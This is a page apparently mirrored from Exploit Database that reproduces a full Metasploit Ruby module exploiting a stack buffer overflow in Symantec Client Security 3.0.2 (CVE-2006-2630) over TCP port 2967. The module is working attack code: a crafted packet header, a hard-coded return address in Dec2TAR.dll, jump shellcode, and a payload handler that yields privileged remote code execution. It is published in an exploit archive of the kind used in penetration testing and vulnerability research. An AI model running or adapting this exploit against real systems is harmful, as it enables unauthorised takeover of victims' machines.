Symantec Remote Management – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16830/

• ##
  # $Id: symantec_rtvscan.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Symantec Remote Management Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
  				This module has only been tested against Symantec Client Security 3.0.2
  				build 10.0.2.2000.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					['CVE', '2006-2630'],
  					['OSVDB', '25846'],
  					['BID', '18107'],
  					['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
  				],
  			'Privileged' => true,
  
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'May 24 2006'))
  
  		register_options(
  			[
  				Opt::RPORT(2967)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		header ="\x01\x10\x0a\x20\x0a\x00\x00\x00"
  		header << "\x02\x18\x00\x01\x00\x00\x00\x00"
  		header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
  		header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
  
  		crufta =rand_text_alphanumeric(512)
  		cruftb =rand_text_alphanumeric(514)
  		cruftc =payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
  		cruftd =rand_text_alphanumeric(495)
  
  		cruftd[479, 2] = "\xeb\x06"
  		cruftd[483, 4] = [target.ret].pack('V')
  		cruftd[487, 5] = [0xe8, -1000].pack('CV')
  
  		cruftd << rand_text_alphanumeric(21)
  		crufte =rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
  		crufte << rand_text_alphanumeric(504) + "\x00\x00"
  
  		overflow =[ crufta.length ].pack('v') + crufta
  		overflow << [ cruftb.length ].pack('v') + cruftb
  		overflow << [ cruftc.length ].pack('v') + cruftc
  		overflow << [ cruftd.length ].pack('v') + cruftd
  		overflow << [ crufte.length ].pack('v') + crufte
  
  		sploit = header + overflow
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end